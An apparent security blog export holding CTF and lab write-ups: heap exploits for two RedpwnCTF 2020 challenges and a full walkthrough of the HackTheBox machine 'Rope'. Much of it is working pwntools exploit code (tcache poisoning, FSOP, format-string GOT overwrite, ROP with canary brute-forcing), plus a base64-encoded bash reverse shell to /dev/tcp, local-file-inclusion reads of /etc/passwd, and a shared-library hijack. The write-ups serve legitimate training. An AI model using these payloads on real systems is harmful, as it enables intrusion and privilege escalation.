append(9, [0x68732f6e69622f, libc.symbols['system']])<br />
free(0)<br />
<br />
p.interactive()</div>
<br />
Due to my relatively large chunk sizes, my exploit had to send a lot of data, and remote took around 5-6 minutes to run. These two pwns were very cool, and my first time pwning non C binaries! Thanks to Poortho for making these.<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-37208486631119669812020-06-25T21:16:00.000-07:002020-06-25T22:11:09.584-07:00RedpwnCTF 2020 Pwn Writeups (Four Function Heap, Zero the Hero)RedpwnCTF 2020 was a really fun CTF and had some great pwns. Here were some of the pwns I found really interesting (my <a href="https://www.willsroot.io/2020/06/redpwnctf-2020-rust-pwn-writeups.html" target="_blank">writeups</a> for the Rust pwns are posted separately).<br />
<br />
<b>Four Function Heap:</b><br />
<b><br /></b>
This is a classic libc 2.27 heap problem with a UAF vulnerability as the pointer is not nulled out after being freed in the delete() function. Like every standard heap pwn, you can do 3 things: allocate, delete, and view. However, it capped you at 14 moves in the main function. Another small tricky part is the indexing rules:<br />
<br />
<div class="code">
ulong getindex(void)<br />
{<br />
long in_FS_OFFSET;<br />
uint local_14;<br />
long local_10;<br />
<br />
local_10 = *(long *)(in_FS_OFFSET + 0x28);<br />
printf("{{prompts.index}}: ");<br />
__isoc99_scanf(&DAT_00100e2a,&local_14);<br />
if (((int)local_14 < 0) || (0 < (int)local_14)) {<br />
ending();<br />
}<br />
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {<br />
/* WARNING: Subroutine does not return */<br />
__stack_chk_fail();<br />
}<br />
return (ulong)local_14;<br />
}</div>
<br />
From this function, we know we can only access index 0. We can also allocate up to size 0x1000 (enough to free sizes that will directly go into unsorted). Thinking about what we have here, I came up with the following 14 step exploit strategy.<br />
<br />
<div class="code">
1. Allocate a medium sized tcache chunk (approximately in the 0x200 range)<br />
<br />
2-4. Use the UAF vuln to free it 3 times (double free)<br />
<br />
5. Show this index to get a heap leak from chunk metadata<br />
<br />
6. Allocate a chunk of the same size as step 1, and change the fd pointer to point to the tcache_perthread_struct<br />
<br />
7. Allocate a chunk of the same size again. The next chunk you ask for of this size will be returned at the fd pointer you wrote into the metadata above.<br />
<br />
8. Allocate a chunk of the same size again; as mentioned above, it will be located at the tcache_perthread_struct. Overwrite metadata in a way so that this chunk size and another chunk size appear to be full (count 7 in the tcache_perthread_struct). The original tcache chunk chosen had to be somewhat large too because you need to forge pointers in the location where the tcache_perthread_struct stores pointers to free chunks below. I forged them in a way to return the location of the first chunk we allocated.<br />
<br />
9. Free this chunk over the tcache_perthread_struct; since the tcache for that size appears full, it goes into the unsorted bin.<br />
<br />
10. Grab the main arena leak that got produced in the step above.<br />
<br />
11-13. We now allocate from the other size we filled (although the size I chose had its tcache count overwritten by a large enough number from unsorted bin pointers). Repeat step 6-8 to get a chunk at __free_hook - 8 and overwrite it on the final allocation with /bin/sh + system (I found this trick from NotDeGhost's writeups).<br />
<br />
14. Now we can just call free and get a shell!</div>
<br />
Here's my final exploit:<br />
<br />
<div class="code">
from pwn import *<br />
<br />
IP = "2020.redpwnc.tf"<br />
PORT = 31774<br />
<br />
bin = ELF('./four-function-heap')<br />
libc = ELF('./libc.so.6')<br />
p = remote(IP, PORT)<br />
<br />
def wait():<br />
<span style="white-space: pre;"> </span>p.recvrepeat(0.3)<br />
<br />
def alloc(size, data='A'):<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('1')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('0')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(size))<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(data)<br />
<br />
def free():<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('2')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('0')<br />
<br />
def show():<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('3')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('0')<br />
<br />
size1 = 0x200<br />
size2 = 0x90<br />
<br />
alloc(size1)<br />
for i in range(3):<br />
<span style="white-space: pre;"> </span>free()<br />
show()<br />
heapleak = u64(p.recv(6).ljust(8, '\x00'))<br />
heapbase = heapleak - 0x260<br />
log.info("Heap leak: " + hex(heapleak))<br />
alloc(size1, p64(heapbase+0x10))<br />
alloc(size1, p64(heapleak)*0x30)<br />
alloc(size1, p64(0) + p64(0x0000000000000007) + p64(0) * 2 + p64(0x0000000007000000) + p64(0) * 11 + p64(heapleak)*2)<br />
free()<br />
show()<br />
libcleak = u64(p.recv(6).ljust(8, '\x00'))<br />
libc.address = libcleak - 0x3ebca0<br />
log.info("Libc base: " + hex(libc.address))<br />
alloc(size2, p64(libc.symbols['__free_hook'] - 8))<br />
alloc(size2)<br />
alloc(size2, '/bin/sh\x00' + p64(libc.symbols['system']))<br />
free()<br />
p.interactive()<br />
<br /></div>
<br />
<b>Zero the Hero</b>:<br />
<br />
This is a more challenging heap problem that required FSOP to pop a shell.<br />
<br />
Here is the entire binary reversed:<br />
<div class="code">
void main(void)<br />
<br />
{<br />
void *chunk;<br />
long size;<br />
<br />
setbuf(stdout,(char *)0x0);<br />
setbuf(stdin,(char *)0x0);<br />
setbuf(stderr,(char *)0x0);<br />
puts("How many zeroes do you want?");<br />
__isoc99_scanf("%ld",&size);<br />
chunk = malloc(size);<br />
printf("I put a bunch of zeroes here: %p\n",chunk);<br />
puts("How much do you want to read?");<br />
__isoc99_scanf("%ld",&size);<br />
*(void *)((long)chunk + size) = 0x30;<br />
puts("How badly do you want to be a hero?");<br />
__isoc99_scanf("%ms",&size);<br />
if (size == main) {<br />
system("echo flag.txt");<br />
}<br />
_exit(0);<br />
}</div>
<br />
So we can allocate whatever size we want, and can write a 0x30 anywhere since there is no bounds check on indexing; it also leaks you the location of the heap pointer. The last comparison to main is simply a troll.<br />
<br />
With the first arbitrary malloc size, we can allocate a chunk large enough to force the binary to mmap a new region. If the size is large enough, it should mmap a region right above libc. The offset of that pointer to libc regions should be constant and can be discovered through debugging.<br />
<br />
Since scanf with the %ms specifier guarantees heap usage, the first thing I thought of was FSOP. We can use the unindexed write to change a byte in _IO_2_1_stdin_'s _IO_buf_end, therefore allowing us to overwrite file structures as well as __malloc_hook under the file structures in memory. However, in order for this write to work, we had to bruteforce to ensure that changing a byte to 0x30 will allow us to reach _malloc_hook but not too much below (which can risk segfaulting or breaking other parts of the program, as we do need to preserve the contents of memory there as closely as possible).<br />
<br />
With some debugging, I noticed a pattern of 0x2a appearing every few instances as the second lowest byte for the _IO_buf_end of _IO_2_1_stdin_; flipping that to 0x30 will allow us reach to __malloc_hook, but not too far afterwards. We can carefully overwrite the file structures (basically, you want to preserve their memory contents), and just flip __malloc_hook to a one gadget. This bruteforce will also require you to write into main arena regions, but since we are targeting __malloc_hook, we can just destroy the heap as malloc will never reach that stage. Here is my final exploit (I highly recommend using eu_unstrip to remerge complete libc debug symbols because the file structures have a lot of different symbols that you won't find in a standard libc file):<br />
<br />
<div class="code">
from pwn import *<br />
<br />
IP = "2020.redpwnc.tf"<br />
PORT = 31643<br />
<br />
bin = ELF('./zero')<br />
libc = ELF('./libc.so.6')<br />
<br />
def wait():<br />
<span style="white-space: pre;"> </span>p.recvrepeat(0.1)<br />
<br />
goodleaks = False<br />
while not goodleaks:<br />
<span style="white-space: pre;"> </span>p = remote(IP, PORT)<br />
<br />
<br />
<span style="white-space: pre;"> </span>def wait():<br />
<span style="white-space: pre;"> </span>p.recvrepeat(0.1)<br />
<br />
<span style="white-space: pre;"> </span>p.recvuntil('do you want?\n')<br />
<span style="white-space: pre;"> </span>p.sendline('12345678')<br />
<span style="white-space: pre;"> </span>leak = int(p.recvline().split()[-1], 16) #heap chunk on mmap<br />
<span style="white-space: pre;"> </span>libc.address = leak + 0xbc6ff0<br />
<span style="white-space: pre;"> </span>onegadget = libc.address + 0x10a38c<br />
<span style="white-space: pre;"> </span>stdiniobufend = libc.symbols['_IO_2_1_stdin_'] + 64<br />
<span style="white-space: pre;"> </span>shortbuf = libc.address + 0x3eba83<br />
<span style="white-space: pre;"> </span>if int(hex(shortbuf)[10:12], 16) == 0x2a:<br />
<span style="white-space: pre;"> </span>goodleaks = True<br />
<span style="white-space: pre;"> </span>else:<br />
<span style="white-space: pre;"> </span>p.close()<br />
log.info("Heap pointer leak: %s" % hex(leak))<br />
log.info("Libc base: %s" % hex(libc.address))<br />
log.info("Possible one gadgets: %s" % hex(onegadget))<br />
log.info("stdin shortbuf: %s" % hex(shortbuf))<br />
log.info("stdin buf end: %s" % hex(stdiniobufend))<br />
p.recvuntil("want to read?\n")<br />
p.sendline(str(stdiniobufend - leak + 1))<br />
<br />
payload = (''<br />
<span style="white-space: pre;"> </span>+ '\x00' * 5<br />
<span style="white-space: pre;"> </span>+ p64(libc.symbols['_IO_stdfile_0_lock'])<br />
<span style="white-space: pre;"> </span>+ p64(0xffffffffffffffff)<br />
<span style="white-space: pre;"> </span>+ p64(0)<br />
<span style="white-space: pre;"> </span>+ p64(libc.symbols['_IO_wide_data_0'])<br />
<span style="white-space: pre;"> </span>+ p64(0) * 3<br />
<span style="white-space: pre;"> </span>+ p64(0x00000000ffffffff)<br />
<span style="white-space: pre;"> </span>+ p64(0) * 2<br />
<span style="white-space: pre;"> </span>+ p64(libc.symbols['_IO_file_jumps'])<br />
<span style="white-space: pre;"> </span>+ p64(0) * 19 * 2<br />
<span style="white-space: pre;"> </span>+ p64(libc.address + 0x3e7d60)<br />
<span style="white-space: pre;"> </span>+ p64(0)<br />
<span style="white-space: pre;"> </span>+ p64(libc.symbols['memalign_hook_ini'])<br />
<span style="white-space: pre;"> </span>+ p64(libc.symbols['realloc_hook_ini'])<br />
<span style="white-space: pre;"> </span>+ p64(onegadget) #overwrite malloc hook<br />
<span style="white-space: pre;"> </span>+ p64(0)<br />
<span style="white-space: pre;"> </span>+ '\x00' * 0x400 #heap can be destroyed, __malloc_hook will prevent it from ever checking the heap<br />
<span style="white-space: pre;"> </span>+ '')<br />
p.sendline(payload)<br />
p.interactive()</div>
<br />
The bruteforce really shouldn't take over a few seconds. Overall, this challenge was very fun. Thanks to NotDeGhost for writing these fun problems!<br />
<br />
There were also pwnables written in Rust during this CTF, which was pretty interesting as it was my first time dealing with non C binaries in pwn. I managed to finish all of them and made writeups of them <a href="https://www.willsroot.io/2020/06/redpwnctf-2020-rust-pwn-writeups.html" target="_blank">here</a>.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-67156420321459791562020-05-23T08:00:00.000-07:002020-05-23T08:05:44.281-07:00Rope HacktheBox Writeup<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-fi6HE0hnZlI/XlM1Iy9H09I/AAAAAAAABnU/eei9AoAyvkYdamAAURROjkWRhqxJOCUeACLcBGAsYHQ/s1600/Capture.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="138" data-original-width="396" height="111" src="https://1.bp.blogspot.com/-fi6HE0hnZlI/XlM1Iy9H09I/AAAAAAAABnU/eei9AoAyvkYdamAAURROjkWRhqxJOCUeACLcBGAsYHQ/s320/Capture.JPG" width="320" /></a></div>
<br />
<br />
Rope is the first complete binexp box on HacktheBox from <a href="https://twitter.com/r4j0x00" target="_blank">R4J</a>. It's basically just two big binary exploitation challenges. I did this about 7-8 months ago and looking back on it, I definitely could do this much faster pretty easily. Anyways, before I start, I need to thank my teammates Immo, TCG, enjloezz, and chirality (who also proofread this writeup).<br />
<br />
On our initial nmap scan, there are only 2 ports open: 22 and 9999. Browsing to 9999, we see a login panel. Playing around, there isn't much of anything that is eye catching. However, we do find that there is an LFI almost immediately: http://rope.htb:9999//etc/passwd<br />
<br />
From that alone, we already know about users john and r4j. We can also traverse the entire filesystem (at least where the user which the server runs under has permissions). We also can LFI into /proc/self, which can provide useful information about the current process. Navigating to the following directory should get us the current directory of the process: http://rope.htb:9999//proc/self/cwd<br />
<br />
The binary is called httpserver. I pulled it out, ran checksec and file. It's dynamically linked and has PIE; we can also assume that it has ASLR. Luckily, two things about this will help: it's 32 bit and unstripped. Since it's 32 bit, I also used the LFI to pull out the 32 bit libc file.<br />
<br />
Reversing this binary, we find a bug in the log_access function.<br />
<br />
<div class="code">
pcVar3 = inet_ntoa((in_addr)((in_addr *)(param_2 + 4))->s_addr);<br />
printf("%s:%d %d - ",pcVar3,(uint)uVar2,param_1);<br />
printf(param_3);<br />
puts("");<br />
puts("request method:");<br />
puts(param_3 + 0x400)</div>
<br />
param_3 will be the directory/file we attempt to access. Calling printf directly on a variable without format strings leads to a format string attack, which can lead to arbitrary write. Also, puts is called on the request method we send. Note this fact for later.<br />
<br />
First of all, we need to deal with the PIE and ASLR issue. Let's lfi /proc/self/maps. Simply accessing that page results in a blank and broken page. In the end, controlling the Range header gave me actual output (note that the addresses used in my script were different due to different instances of the box):<br />
curl --path-as-is -v http://10.10.10.148:9999//proc/self/maps -H 'Range: bytes=0-50000'<br />
<br />
<div class="code">
56577000-56578000 r--p 00000000 08:02 660546 /opt/www/httpserver<br />
56578000-5657a000 r-xp 00001000 08:02 660546 /opt/www/httpserver<br />
5657a000-5657b000 r--p 00003000 08:02 660546 /opt/www/httpserver<br />
5657b000-5657c000 r--p 00003000 08:02 660546 /opt/www/httpserver<br />
5657c000-5657d000 rw-p 00004000 08:02 660546 /opt/www/httpserver<br />
57112000-57134000 rw-p 00000000 00:00 0 [heap]<br />
f7d8d000-f7f5f000 r-xp 00000000 08:02 660685 /lib32/libc-2.27.so<br />
f7f5f000-f7f60000 ---p 001d2000 08:02 660685 /lib32/libc-2.27.so<br />
f7f60000-f7f62000 r--p 001d2000 08:02 660685 /lib32/libc-2.27.so<br />
f7f62000-f7f63000 rw-p 001d4000 08:02 660685 /lib32/libc-2.27.so<br />
f7f63000-f7f66000 rw-p 00000000 00:00 0<br />
f7f6f000-f7f71000 rw-p 00000000 00:00 0<br />
f7f71000-f7f74000 r--p 00000000 00:00 0 [vvar]<br />
f7f74000-f7f76000 r-xp 00000000 00:00 0 [vdso]<br />
f7f76000-f7f9c000 r-xp 00000000 08:02 660681 /lib32/ld-2.27.so<br />
f7f9c000-f7f9d000 r--p 00025000 08:02 660681 /lib32/ld-2.27.so<br />
f7f9d000-f7f9e000 rw-p 00026000 08:02 660681 /lib32/ld-2.27.so<br />
ffe61000-ffe82000 rw-p 00000000 00:00 0 [stack]<br />
<div>
<br /></div>
</div>
<br />
From here, libc and pie base are both obtained, which will remain constant as long as the process doesn't restart.<br />
<br />
With the format string, we can achieve arbitrary write. The fact that the binary is Partial RELRO makes this even easier, as I could achieve RCE by overwriting something in GOT with system() from libc. Since puts is called on the request type, what if we change that part of the request to a shell command after overwriting puts with system? The only problem is that our shell command can't have spaces and we can't directly pop a shell because of fd (but we can get a reverse shell!). To deal with the spaces issue, use ${IFS}. However, using that with a command like the following will cause issues:<br />
<br />
bash -c 'bash -i >& /dev/tcp/10.10.14.31/1337 0>&1'<br />
<br />
Instead, what if we base64 encoded that, and then used the IFS technique to run the decoded command?<br />
<br />
echo${IFS}"YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8xMzM3IDA+JjEn"|base64${IFS}-d|bash<br />
<br />
Testing it locally, this string does show up as the request header. Now once we overwrite it, we can catch a shell on port 1337!<br />
<br />
Below is my exploit with comments. To figure out the offset, we could type AAAA and then type many %p. Whichever group of values show 41414141 on the server side will be the index of offset. As for the format string GOT overwrite itself, there are a ton of other blogs out there explaining how to do it manually, like this Github <a href="https://github.com/r0hi7/BinExp/tree/master/Lecture6" target="_blank">page</a>. However, my preference in a CTF is that as long as pwn tools format string generator for overwrites works, I will use it. Here is my exploit:<br />
<br />
<div class="code">
from pwn import *<br />
import urllib<br />
<br />
context(arch='i386')<br />
binary = ELF('./httpserver')<br />
libc = ELF('./libc-2.27.so')<br />
<br />
pie = 0x56577000<br />
libcBase = 0xf7d8d000<br />
system = libcBase + libc.symbols['system']<br />
puts = pie + binary.got['puts']<br />
<br />
#puts prints out our request type, we can overwrite with system, but can't have spaces in request type<br />
#payload = 'ABCD' + ' %p' * 53, offset of 53<br />
writes = {puts:system}<br />
payload = fmtstr_payload(53, writes)<br />
log.info("Payload: " + payload)<br />
<br />
r = remote('rope.htb', 9999)<br />
#double braces for escape, urlencode too<br />
r.send('''\<br />
echo${{IFS}}"YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zMS8xMzM3IDA+JjEn"|base64${{IFS}}-d|bash /{} HTTP/1.1<br />
Host: rope.htb:9999<br />
User-Agent: curl/7.65.3<br />
Accept: /<br />
<br />
'''.format(urllib.quote(payload)))<br />
<br />
r.interactive()</div>
<br />
Now we get a shell as John. For ease, I created an authorized_keys files, added my public key, and ssh'd in as John. Basic enumeration with sudo -l tells us that we can run printlogs as user r4j. Running ldd on the binary tells us that it is calling /lib/x86_64-linux-gnu/liblog.so. Apparently, we can overwrite it, which makes this bug a clear library hijacking vulnerability.<br />
<br />
A function used inside the binary calls printlog from the library.<br />
<br />
<div class="code">
int32_t printlog (void) {<br />
system ("/usr/bin/tail -n10 /var/log/auth.log");<br />
return 0;<br />
}</div>
<br />
I knew a few people just overwrote the string called with system, but I decided to just overwrite liblog.so with just a new .so file that directly called system("/bin/sh -i") in the printlog function. To compile, we used the following gcc command:<br />
<br />
gcc -c -fPIC liblog_patched.c -o liblog_patched.o<br />
gcc liblog_patched.o -shared -o liblog_patched.so<br />
<br />
Then, bring it back to the server, overwrite liblog.so (scp liblog_patched.so john@rope.htb:/lib/x86_64-linux-gnu/liblog.so), run readlogs as -u r4j and you should get user! I created another authorized_keys file and ssh'd back in.<br />
<br />
For root, it's basic enumeration again. With netstat, we find something listening on 1337. We also noticed a binary in /opt/support/ called contact. Reversing it (just looking at strings for now) and connecting to the port shows they are the same binary. I also port forwarded it for later exploitation purposes:<br />
<br />
ssh -L 1337:127.0.0.1:1337 r4j@rope.htb<br />
<br />
This binary is 64 bits and has no symbols with ASLR, PIE, Canary, and NX. Luckily, it's a forking socket server so those pesky values that must be discovered stay the same within the same process. Some simple reversing once again helped me quickly identify the client reception function as well as the function calling recv(), which is basically read() but only works over sockets. That is where the bug occurs... recv() reads in 0x400 bytes, which is much larger than the size of the buffer and stack here. Easy ROP chain and buffer overflow here then!<br />
<br />
<div class="code">
//snippet from the function calling the vulnerable recv<br />
if (_Var2 == 0) {<br />
_Var3 = getuid();<br />
printf("[+] Request accepted fd %d, pid %d\n",(ulong)uParm1,(ulong)_Var3);<br />
__n = strlen(s_Please_enter_the_message_you_wan_001040e0);<br />
write(uParm1,s_Please_enter_the_message_you_wan_001040e0,__n);<br />
recv_data();<br />
send(uParm1,"Done.\n",6,0);<br />
uVar4 = 0;<br />
}<br />
<br />
void recv_data(int iParm1)<br />
<br />
{<br />
long in_FS_OFFSET;<br />
undefined local_48 [56];<br />
long local_10;<br />
<br />
local_10 = *(long *)(in_FS_OFFSET + 0x28);<br />
recv(iParm1,local_48,0x400,0);<br />
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {<br />
/* WARNING: Subroutine does not return */<br />
__stack_chk_fail();<br />
}<br />
return;<br />
}</div>
<br />
Just bruteforce the canary and rbp like every other ROP chain problem on forking socket servers. Also bruteforce the return address to beat PIE. To bruteforce, we rely on the fact that recv() does not add a null byte to what you enter. Therefore, we can bruteforce each address one by one and see if we ever get the "Done!" message again.<br />
<br />
I bruteforced this problem originally with a really slow python pwn tools script. The server itself doesn't have pwn tools, making it even slower as it is over remote. It was just sending byte by byte over the remote connection, and I also had to deal with the occasional dirty byte. Make sure that your canary starts with a null byte, your rbp leak is aligned, and your PIE follows what it should be according to reversing tools.<br />
<br />
For this writeup, I will be using a better method; you can still find my horrifically awful and slow method on my Github or on the previous password protected writeup of Rope.<br />
<br />
Here is the newer script for this writeup (it's based off my teammate Chirality's original <a href="https://gist.github.com/nbulischeck/92196deb938a536e17101a887aa11760" target="_blank">bruteforcer</a> that used pwn tools; mine uses the <a href="https://github.com/lunixbochs/mpwn" target="_blank">mpwn</a> library, a single file CTF exploit library that runs on native Python3):<br />
<br />
<div class="code">
<br />
from multiprocessing import Pool<br />
from mp import *<br />
import time<br />
<br />
HOST = "localhost"<br />
PORT = 1337<br />
<br />
canary = b''<br />
frame_ptr = b''<br />
ret_ptr = b''<br />
offset = 0x38<br />
done = False<br />
<br />
def leak(byte):<br />
global done<br />
if done:<br />
return False<br />
r = remote(HOST, PORT)<br />
payload = b"A" * offset<br />
payload += canary<br />
payload += frame_ptr<br />
payload += ret_ptr<br />
payload += bytes([byte])<br />
try:<br />
temp = r.recvline(timeout = 1)<br />
#print("Recieved: " + temp.decode())<br />
r.send(payload)<br />
result = r.recv(4, timeout = 1)<br />
#print("Result: " + result.decode())<br />
if "Done" in result.decode():<br />
print("SUCCESS " + hex(byte))<br />
done = True<br />
return True<br />
else:<br />
raise EOFError<br />
except:<br />
return False<br />
<br />
def leak_helper(string):<br />
global done<br />
done = False<br />
pool = Pool(processes=25)<br />
results = pool.map(leak, range(0, 255))<br />
pool.close()<br />
pool.terminate()<br />
pool.join()<br />
if True in results:<br />
byte = results.index(True)<br />
return string + bytes([byte])<br />
else:<br />
print("Could not find the byte!")<br />
print(str(results))<br />
quit()<br />
<br />
#single process testing<br />
# while len(canary) < 8:<br />
# word = 0x00<br />
# while word < 0xff:<br />
# if leak(word):<br />
# canary = canary + bytes([word])<br />
# break<br />
# else:<br />
# word = word + 1<br />
if not canary:<br />
for i in p64(0x0):<br />
canary = leak_helper(canary)<br />
print("Done! Canary: " + hex(u64(canary.ljust(8, b'\x00'))))<br />
<br />
if not frame_ptr:<br />
for i in p64(0x0):<br />
frame_ptr = leak_helper(frame_ptr)<br />
print("Done! RBP: " + hex(u64(frame_ptr.ljust(8, b'\x00'))))<br />
<br />
if not ret_ptr:<br />
for i in p64(0x0):<br />
ret_ptr = leak_helper(ret_ptr)<br />
print("Done! Return Pointer: " + hex(u64(ret_ptr.ljust(8, b'\x00'))))<br />
<br />
print("DONE!")<br />
print("Canary: " + hex(u64(canary.ljust(8, b'\x00'))))<br />
print("RBP: " + hex(u64(frame_ptr.ljust(8, b'\x00'))))<br />
print("Return Pointer: " + hex(u64(ret_ptr.ljust(8, b'\x00'))))</div>
<br />
If it does break in the middle of the bruteforcing, you should just paste what current values you have so you do not need to start over. With these values, popping a shell follows soon after. Simply leak libc with write (as ASLR remains the same over forking processes, you can just exit and then make a new connection for the next part). Then, dup2 the fds and pop a shell; I used a one gadget that only had to have rcx be null, so I used a gadget from libc as well. Below is my exploit with comments:<br />
<div class="code">
from pwn import *<br />
<br />
context(arch='amd64')<br />
binary = ELF('./contact')<br />
p = remote('localhost', 1337)<br />
libc = ELF('libc-2.27.so')<br />
<br />
canary = 0x7aec4b7820374000<br />
rbp = 0x7ffd5f42a720<br />
returnAddr = 0x563f8a80a562<br />
# 0010155d e8 38 00 CALL recv_data undefined<br />
# 00 00<br />
# 00101562 8b 45 ec MOV EAX,dword ptr [RBP + local_1c]<br />
<br />
pie = returnAddr - 0x1562<br />
log.info('Base pie address: ' + hex(pie))<br />
log.info('Canary: ' + hex(canary))<br />
#leaking libc<br />
#0x164b -> pop rdi; ret<br />
#0x1649: pop rsi; pop r15; ret;<br />
#0x1265: pop rdx; ret; set it to 8 because address leak<br />
#call write<br />
poprdi = pie + 0x164b<br />
poprsir15 = pie + 0x1649<br />
poprdx = pie + 0x1265<br />
write = pie + 0x154e<br />
printfgot = pie + binary.got['printf']<br />
chain = p64(poprdi) + p64(4) + p64(poprsir15) + p64(printfgot) + p64(0) + p64(poprdx) + p64(8) + p64(write)<br />
payload = 'A' * 0x38 + p64(canary) + p64(rbp) + chain<br />
p.sendlineafter('admin:\n', payload)<br />
temp = p.recv(8)<br />
printf = u64(temp)<br />
libcBase = printf - libc.symbols['printf']<br />
log.info("Leaked libc: " + hex(libcBase))<br />
p.close()<br />
<br />
#popping shells<br />
p = remote('localhost', 1337)<br />
libc.address = libcBase<br />
<br />
#now dup2 everything and pop shell<br />
payload = ''<br />
payload += "\x90" * 0x38<br />
payload += p64(canary)<br />
payload += p64(rbp)<br />
<br />
payload += p64(poprdi)<br />
payload += p64(0x4)<br />
payload += p64(poprsir15)<br />
payload += p64(0x0)<br />
payload += p64(0x0)<br />
payload += p64(libc.symbols['dup2'])<br />
<br />
payload += p64(poprdi)<br />
payload += p64(0x4)<br />
payload += p64(poprsir15)<br />
payload += p64(0x1)<br />
payload += p64(0x0)<br />
payload += p64(libc.symbols['dup2'])<br />
<br />
payload += p64(poprdi)<br />
payload += p64(0x4)<br />
payload += p64(poprsir15)<br />
payload += p64(0x2)<br />
payload += p64(0x0)<br />
payload += p64(libc.symbols['dup2'])<br />
<br />
payload += p64(libc.address + 0x3eb0b) #pop rcx; ret<br />
payload += p64(0)<br />
payload += p64(libc.address + 0x4f2c5) # one gadget magic<br />
<br />
p.sendafter('admin:\n', payload)<br />
p.interactive()<br />
<div>
<br /></div>
</div>
And Rope is rooted now! Thanks goes to R4J for this great box. Now I just need to wait for HacktheBox to release Rope2.Unknownnoreply@blogger.com0